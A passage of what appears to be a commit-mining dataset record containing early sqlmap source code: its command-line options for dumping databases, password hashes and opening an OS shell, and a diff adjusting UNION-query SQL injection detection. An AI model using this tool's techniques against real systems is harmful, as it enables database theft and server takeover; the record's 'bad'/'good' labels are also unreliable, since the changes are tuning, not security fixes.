action=\"store_true\", help=\"Never ask for user input, use the default behaviour\") parser.add_option_group(target) parser.add_option_group(request) parser.add_option_group(injection) parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) parser.add_option_group(filesystem) parser.add_option_group(takeover) parser.add_option_group(miscellaneous) (args, _)=parser.parse_args() if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll: errMsg =\"missing a mandatory parameter('-u', '-l', '-g', '-c' or '--update'), \" errMsg +=\"-h for help\" parser.error(errMsg) return args except(OptionError, TypeError), e: parser.error(e) debugMsg=\"parsing command line\" logger.debug(debugMsg) ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport sys\n\nfrom optparse import OptionError\nfrom optparse import OptionGroup\nfrom optparse import OptionParser\n\nfrom lib.core.data import logger\nfrom lib.core.settings import VERSION_STRING\n\n\ndef cmdLineParser():\n \"\"\"\n This function parses the command line parameters and arguments\n \"\"\"\n\n usage = \"%s [options]\" % sys.argv[0]\n parser = OptionParser(usage=usage, version=VERSION_STRING)\n\n try:\n parser.add_option(\"-v\", dest=\"verbose\", type=\"int\",\n help=\"Verbosity level: 0-5 (default 1)\")\n\n # Target options\n target = OptionGroup(parser, \"Target\", \"At least one of these \"\n \"options has to be specified to set the source \"\n \"to get target urls from.\")\n\n target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\")\n\n target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \"\n \"or WebScarab logs\")\n\n target.add_option(\"-g\", dest=\"googleDork\",\n help=\"Process Google dork results as target urls\")\n\n target.add_option(\"-c\", dest=\"configFile\",\n help=\"Load options from a configuration INI file\")\n\n\n # Request options\n request = OptionGroup(parser, \"Request\", \"These options can be used \"\n \"to specify how to connect to the target url.\")\n\n request.add_option(\"--method\", dest=\"method\", default=\"GET\",\n help=\"HTTP method, GET or POST (default: GET)\")\n\n request.add_option(\"--data\", dest=\"data\",\n help=\"Data string to be sent through POST\")\n\n request.add_option(\"--cookie\", dest=\"cookie\",\n help=\"HTTP Cookie header\")\n\n request.add_option(\"--referer\", dest=\"referer\",\n help=\"HTTP Referer header\")\n\n request.add_option(\"--user-agent\", dest=\"agent\",\n help=\"HTTP User-Agent header\")\n\n request.add_option(\"-a\", dest=\"userAgentsFile\",\n help=\"Load a random HTTP User-Agent \"\n \"header from file\")\n\n request.add_option(\"--headers\", dest=\"headers\",\n help=\"Extra HTTP headers '\\\\n' separated\")\n\n request.add_option(\"--auth-type\", dest=\"aType\",\n help=\"HTTP Authentication type, value: \"\n \"Basic or Digest\")\n\n request.add_option(\"--auth-cred\", dest=\"aCred\",\n help=\"HTTP Authentication credentials, value: \"\n \"name:password\")\n\n request.add_option(\"--proxy\", dest=\"proxy\",\n help=\"Use a HTTP proxy to connect to the target url\")\n\n request.add_option(\"--threads\", dest=\"threads\", type=\"int\",\n help=\"Maximum number of concurrent HTTP \"\n \"requests (default 1)\")\n\n request.add_option(\"--delay\", dest=\"delay\", type=\"float\",\n help=\"Delay in seconds between each HTTP request\")\n\n request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\",\n help=\"Seconds to wait before timeout connection \"\n \"(default 30)\")\n\n\n # Injection options\n injection = OptionGroup(parser, \"Injection\", \"These options can be \"\n \"used to specify which parameters to test \"\n \"for, provide custom injection payloads and \"\n \"how to parse and compare HTTP responses \"\n \"page content when using the blind SQL \"\n \"injection technique.\")\n\n injection.add_option(\"-p\", dest=\"testParameter\",\n help=\"Testable parameter(s)\")\n\n injection.add_option(\"--dbms\", dest=\"dbms\",\n help=\"Force back-end DBMS to this value\")\n\n injection.add_option(\"--prefix\", dest=\"prefix\",\n help=\"Injection payload prefix string\")\n\n injection.add_option(\"--postfix\", dest=\"postfix\",\n help=\"Injection payload postfix string\")\n\n injection.add_option(\"--string\", dest=\"string\",\n help=\"String to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--regexp\", dest=\"regexp\",\n help=\"Regexp to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--excl-str\", dest=\"eString\",\n help=\"String to be excluded before calculating \"\n \"page hash\")\n\n injection.add_option(\"--excl-reg\", dest=\"eRegexp\",\n help=\"Regexp matches to be excluded before \"\n \"calculating page hash\")\n\n\n # Techniques options\n techniques = OptionGroup(parser, \"Techniques\", \"These options can \"\n \"be used to test for specific SQL injection \"\n \"technique or to use one of them to exploit \"\n \"the affected parameter(s) rather than using \"\n \"the default blind SQL injection technique.\")\n\n techniques.add_option(\"--stacked-test\", dest=\"stackedTest\",\n action=\"store_true\",\n help=\"Test for stacked queries (multiple \"\n \"statements) support\")\n\n techniques.add_option(\"--time-test\", dest=\"timeTest\",\n action=\"store_true\",\n help=\"Test for Time based blind SQL injection\")\n\n techniques.add_option(\"--union-test\", dest=\"unionTest\",\n action=\"store_true\",\n help=\"Test for UNION query (inband) SQL injection\")\n\n techniques.add_option(\"--union-use\", dest=\"unionUse\",\n action=\"store_true\",\n help=\"Use the UNION query (inband) SQL injection \"\n \"to retrieve the queries output. No \"\n \"need to go blind\")\n\n\n # Fingerprint options\n fingerprint = OptionGroup(parser, \"Fingerprint\")\n\n fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\",\n action=\"store_true\",\n help=\"Perform an extensive DBMS version fingerprint\")\n\n\n # Enumeration options\n enumeration = OptionGroup(parser, \"Enumeration\", \"These options can \"\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n \"you can run your own SQL SELECT queries.\")\n\n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n\n enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\",\n action=\"store_true\",\n help=\"Retrieve DBMS current user\")\n\n enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\",\n action=\"store_true\",\n help=\"Retrieve DBMS current database\")\n\n enumeration.add_option(\"--is-dba\", dest=\"isDba\",\n action=\"store_true\",\n help=\"Detect if the DBMS current user is DBA\")\n\n enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\",\n help=\"Enumerate DBMS users\")\n\n enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\",\n action=\"store_true\",\n help=\"Enumerate DBMS users password hashes (opt: -U)\")\n\n enumeration.add_option(\"--privileges\", dest=\"getPrivileges\",\n action=\"store_true\",\n help=\"Enumerate DBMS users privileges (opt: -U)\")\n\n enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\",\n help=\"Enumerate DBMS databases\")\n\n enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\",\n help=\"Enumerate DBMS database tables (opt: -D)\")\n\n enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\",\n help=\"Enumerate DBMS database table columns \"\n \"(req:-T opt:-D)\")\n\n enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\",\n help=\"Dump DBMS database table entries \"\n \"(req: -T, opt: -D, -C, --start, --stop)\")\n\n enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\",\n help=\"Dump all DBMS databases tables entries\")\n\n enumeration.add_option(\"-D\", dest=\"db\",\n help=\"DBMS database to enumerate\")\n\n enumeration.add_option(\"-T\", dest=\"tbl\",\n help=\"DBMS database table to enumerate\")\n\n enumeration.add_option(\"-C\", dest=\"col\",\n help=\"DBMS database table column to enumerate\")\n\n enumeration.add_option(\"-U\", dest=\"user\",\n help=\"DBMS user to enumerate\")\n\n enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\",\n action=\"store_true\",\n help=\"Exclude DBMS system databases when \"\n \"enumerating tables\")\n\n enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\",\n help=\"First table entry to dump\")\n\n enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\",\n help=\"Last table entry to dump\")\n\n enumeration.add_option(\"--sql-query\", dest=\"query\",\n help=\"SQL SELECT query to be executed\")\n\n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\n help=\"Prompt for an interactive SQL shell\")\n\n\n # File system options\n filesystem = OptionGroup(parser, \"File system access\", \"These options \"\n \"can be used to access the back-end database \"\n \"management system file system taking \"\n \"advantage of native DBMS functions or \"\n \"specific DBMS design weaknesses.\")\n\n filesystem.add_option(\"--read-file\", dest=\"rFile\",\n help=\"Read a specific OS file content (only on MySQL)\")\n\n filesystem.add_option(\"--write-file\", dest=\"wFile\",\n help=\"Write to a specific OS file (not yet available)\")\n\n\n # Takeover options\n takeover = OptionGroup(parser, \"Operating system access\", \"This \"\n \"option can be used to access the back-end \"\n \"database management system operating \"\n \"system taking advantage of specific DBMS \"\n \"design weaknesses.\")\n\n takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\",\n help=\"Prompt for an interactive OS shell \"\n \"(only on PHP/MySQL environment with a \"\n \"writable directory within the web \"\n \"server document root for the moment)\")\n\n\n # Miscellaneous options\n miscellaneous = OptionGroup(parser, \"Miscellaneous\")\n\n miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\",\n help=\"Retrieve each query output length and \"\n \"calculate the estimated time of arrival \"\n \"in real time\")\n\n miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\",\n help=\"Update sqlmap to the latest stable version\")\n\n miscellaneous.add_option(\"-s\", dest=\"sessionFile\",\n help=\"Save and resume all data retrieved \"\n \"on a session file\")\n\n miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\",\n help=\"Save options on a configuration INI file\")\n\n miscellaneous.add_option(\"--batch\", dest=\"batch\", action=\"store_true\",\n help=\"Never ask for user input, use the default behaviour\")\n\n\n parser.add_option_group(target)\n parser.add_option_group(request)\n parser.add_option_group(injection)\n parser.add_option_group(techniques)\n parser.add_option_group(fingerprint)\n parser.add_option_group(enumeration)\n parser.add_option_group(filesystem)\n parser.add_option_group(takeover)\n parser.add_option_group(miscellaneous)\n\n (args, _) = parser.parse_args()\n\n if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:\n errMsg = \"missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), \"\n errMsg += \"-h for help\"\n parser.error(errMsg)\n\n return args\n except (OptionError, TypeError), e:\n parser.error(e)\n\n debugMsg = \"parsing command line\"\n logger.debug(debugMsg)\n"}, "/lib/request/comparison.py": {"changes": [{"diff": "\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n el", "add": 2, "remove": 2, "filename": "/lib/request/comparison.py", "badparts": [" return round(conf.seqMatcher.ratio(), 5)", " elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:"], "goodparts": [" return round(conf.seqMatcher.ratio(), 3)", " elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re from lib.core.data import conf from lib.core.settings import MATCH_RATIO def comparison(page, headers=None, getSeqMatcher=False): regExpResults=None if conf.eString and conf.eString in page: index =page.index(conf.eString) length =len(conf.eString) pageWithoutString =page[:index] pageWithoutString +=page[index+length:] page =pageWithoutString if conf.eRegexp: regExpResults=re.findall(conf.eRegexp, page, re.I | re.M) if regExpResults: for regExpResult in regExpResults: index =page.index(regExpResult) length =len(regExpResult) pageWithoutRegExp =page[:index] pageWithoutRegExp +=page[index+length:] page =pageWithoutRegExp if conf.string: if conf.string in page: return True else: return False if conf.regexp: if re.search(conf.regexp, page, re.I | re.M): return True else: return False conf.seqMatcher.set_seq2(page) if getSeqMatcher: return round(conf.seqMatcher.ratio(), 5) elif round(conf.seqMatcher.ratio(), 5) >=MATCH_RATIO: return True else: return False ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\n\nfrom lib.core.data import conf\nfrom lib.core.settings import MATCH_RATIO\n\n\ndef comparison(page, headers=None, getSeqMatcher=False):\n regExpResults = None\n\n # String to be excluded before calculating page hash\n if conf.eString and conf.eString in page:\n index = page.index(conf.eString)\n length = len(conf.eString)\n pageWithoutString = page[:index]\n pageWithoutString += page[index+length:]\n page = pageWithoutString\n\n # Regular expression matches to be excluded before calculating page hash\n if conf.eRegexp:\n regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)\n\n if regExpResults:\n for regExpResult in regExpResults:\n index = page.index(regExpResult)\n length = len(regExpResult)\n pageWithoutRegExp = page[:index]\n pageWithoutRegExp += page[index+length:]\n page = pageWithoutRegExp\n\n # String to match in page when the query is valid\n if conf.string:\n if conf.string in page:\n return True\n else:\n return False\n\n # Regular expression to match in page when the query is valid\n if conf.regexp:\n if re.search(conf.regexp, page, re.I | re.M):\n return True\n else:\n return False\n\n # By default it returns sequence matcher between the first untouched\n # HTTP response page content and this content\n conf.seqMatcher.set_seq2(page)\n\n if getSeqMatcher:\n return round(conf.seqMatcher.ratio(), 5)\n\n elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n return True\n\n else:\n return False\n"}, "/lib/techniques/inband/union/test.py": {"changes": [{"diff": "\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "add": 8, "remove": 8, "filename": "/lib/techniques/inband/union/test.py", "badparts": [" newResult = Request.queryPage(payload)", " if count:", " for element in resultDict.values():", " if element[0] == 1:", " value = \"%s?%s\" % (conf.url, payload)", " value += \"\\nPOST:\\t'%s'\\n\" % payload", " value += \"\\nCookie:\\t'%s'\\n\" % payload", " value += \"\\nUser-Agent:\\t'%s'\\n\" % payload"], "goodparts": [" newResult = Request.queryPage(payload, getSeqMatcher=True)", " if count > 3:", " for ratio, element in resultDict.items():", " if element[0] == 1 and ratio > 0.5:", " value = \"%s?%s\" % (conf.url, element[1])", " value += \"\\nPOST:\\t'%s'\\n\" % element[1]", " value += \"\\nCookie:\\t'%s'\\n\" % element[1]", " value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" from lib.core.agent import agent from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.session import setUnion from lib.request.connect import Connect as Request def __effectiveUnionTest(query, comment): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table \"\"\" resultDict={} for count in range(0, 50): if kb.dbms==\"Oracle\" and query.endswith(\" FROM DUAL\"): query=query[:-len(\" FROM DUAL\")] if count: query +=\", NULL\" if kb.dbms==\"Oracle\": query +=\" FROM DUAL\" commentedQuery=agent.postfixQuery(query, comment) payload=agent.payload(newValue=commentedQuery) newResult=Request.queryPage(payload) if not newResult in resultDict.keys(): resultDict[newResult]=(1, commentedQuery) else: resultDict[newResult]=(resultDict[newResult][0] +1, commentedQuery) if count: for element in resultDict.values(): if element[0]==1: if kb.injPlace==\"GET\": value=\"%s?%s\" %(conf.url, payload) elif kb.injPlace==\"POST\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nPOST:\\t'%s'\\n\" % payload elif kb.injPlace==\"Cookie\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nCookie:\\t'%s'\\n\" % payload elif kb.injPlace==\"User-Agent\": value =\"URL:\\t\\t'%s'\" % conf.url value +=\"\\nUser-Agent:\\t'%s'\\n\" % payload return value return None def unionTest(): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times \"\"\" logMsg =\"testing inband sql injection on parameter \" logMsg +=\"'%s'\" % kb.injParameter logger.info(logMsg) value=\"\" query=agent.prefixQuery(\" UNION ALL SELECT NULL\") for comment in(queries[kb.dbms].comment, \"\"): value=__effectiveUnionTest(query, comment) if value: setUnion(comment, value.count(\"NULL\")) break if kb.unionCount: logMsg =\"the target url could be affected by an \" logMsg +=\"inband sql injection vulnerability\" logger.info(logMsg) else: warnMsg =\"the target url is not affected by an \" warnMsg +=\"inband sql injection vulnerability\" logger.warn(warnMsg) return value ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nfrom lib.core.agent import agent\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.data import queries\nfrom lib.core.session import setUnion\nfrom lib.request.connect import Connect as Request\n\n\ndef __effectiveUnionTest(query, comment):\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 50 columns\n on the target database table\n \"\"\"\n\n resultDict = {}\n\n for count in range(0, 50):\n if kb.dbms == \"Oracle\" and query.endswith(\" FROM DUAL\"):\n query = query[:-len(\" FROM DUAL\")]\n\n if count:\n query += \", NULL\"\n\n if kb.dbms == \"Oracle\":\n query += \" FROM DUAL\"\n\n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n newResult = Request.queryPage(payload)\n\n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n\n if count:\n for element in resultDict.values():\n if element[0] == 1:\n if kb.injPlace == \"GET\":\n value = \"%s?%s\" % (conf.url, payload)\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nPOST:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nCookie:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n\n return value\n\n return None\n\n\ndef unionTest():\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 3*50 times\n \"\"\"\n\n logMsg = \"testing inband sql injection on parameter \"\n logMsg += \"'%s'\" % kb.injParameter\n logger.info(logMsg)\n\n value = \"\"\n\n query = agent.prefixQuery(\" UNION ALL SELECT NULL\")\n\n for comment in (queries[kb.dbms].comment, \"\"):\n value = __effectiveUnionTest(query, comment)\n\n if value:\n setUnion(comment, value.count(\"NULL\"))\n\n break\n\n if kb.unionCount:\n logMsg = \"the target url could be affected by an \"\n logMsg += \"inband sql injection vulnerability\"\n logger.info(logMsg)\n else:\n warnMsg = \"the target url is not affected by an \"\n warnMsg += \"inband sql injection vulnerability\"\n logger.warn(warnMsg)\n\n return value\n"}}, "msg": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py."}}, "https://github.com/huynhthai264/sql2": {"35708a0b975f89357e75f8f74999900da9fe9894": {"url": "https://api.github.com/repos/huynhthai264/sql2/commits/35708a0b975f89357e75f8f74999900da9fe9894", "html_url": "https://github.com/huynhthai264/sql2/commit/35708a0b975f89357e75f8f74999900da9fe9894", "message": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py.", "sha": "35708a0b975f89357e75f8f74999900da9fe9894", "keyword": "command injection update", "diff": "diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py\nindex 9cc7a48d..8a1ddc64 100644\n--- a/lib/contrib/multipartpost.py\n+++ b/lib/contrib/multipartpost.py\n@@ -5,6 +5,8 @@\n \n 02/2006 Will Holcomb \n \n+Reference: http://odin.himinbi.org/MultipartPostHandler.py\n+\n This library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n@@ -14,6 +16,10 @@\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n+\n+You should have received a copy of the GNU Lesser General Public\n+License along with this library; if not, write to the Free Software\n+Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n \"\"\"\n \n \ndiff --git a/lib/controller/checks.py b/lib/controller/checks.py\nindex 3050728c..2202dab0 100644\n--- a/lib/controller/checks.py\n+++ b/lib/controller/checks.py\n@@ -295,15 +295,12 @@ def checkStability():\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page \"\ndiff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py\nindex f3349f13..c89180de 100644\n--- a/lib/parse/cmdline.py\n+++ b/lib/parse/cmdline.py\n@@ -189,7 +189,7 @@ def cmdLineParser():\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n- \"you can run your own SQL SELECT queries.\")\n+ \"you can run your own SQL statements.\")\n \n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n@@ -258,7 +258,7 @@ def cmdLineParser():\n help=\"Last table entry to dump\")\n \n enumeration.add_option(\"--sql-query\", dest=\"query\",\n- help=\"SQL SELECT query to be executed\")\n+ help=\"SQL statement to be executed\")\n \n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\ndiff --git a/lib/request/comparison.py b/lib/request/comparison.py\nindex a42542bf..3c520818 100644\n--- a/lib/request/comparison.py\n+++ b/lib/request/comparison.py\n@@ -72,9 +72,9 @@ def comparison(page, headers=None, getSeqMatcher=False):\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n else:\ndiff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py\nindex e0bd1e5d..3ef577b7 100644\n--- a/lib/techniques/inband/union/test.py\n+++ b/lib/techniques/inband/union/test.py\n@@ -54,27 +54,27 @@ def __effectiveUnionTest(query, comment):\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "files": {"/lib/controller/checks.py": {"changes": [{"diff": "\n logger.info(infoMsg)\n \n firstPage, firstHeaders = Request.queryPage(content=True)\n- time.sleep(0.5)\n+ time.sleep(1)\n \n secondPage, secondHeaders = Request.queryPage(content=True)\n time.sleep(0.5)\n \n- thirdPage, thirdHeaders = Request.queryPage(content=True)\n-\n- condition = firstPage == secondPage\n- condition &= secondPage == thirdPage\n+ condition = firstPage == secondPage\n \n if condition == False:\n warnMsg = \"url is not stable, sqlmap will base the page ", "add": 2, "remove": 5, "filename": "/lib/controller/checks.py", "badparts": [" time.sleep(0.5)", " thirdPage, thirdHeaders = Request.queryPage(content=True)", " condition = firstPage == secondPage", " condition &= secondPage == thirdPage"], "goodparts": [" time.sleep(1)", " condition = firstPage == secondPage"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re import time from lib.controller.action import action from lib.core.agent import agent from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.data import conf from 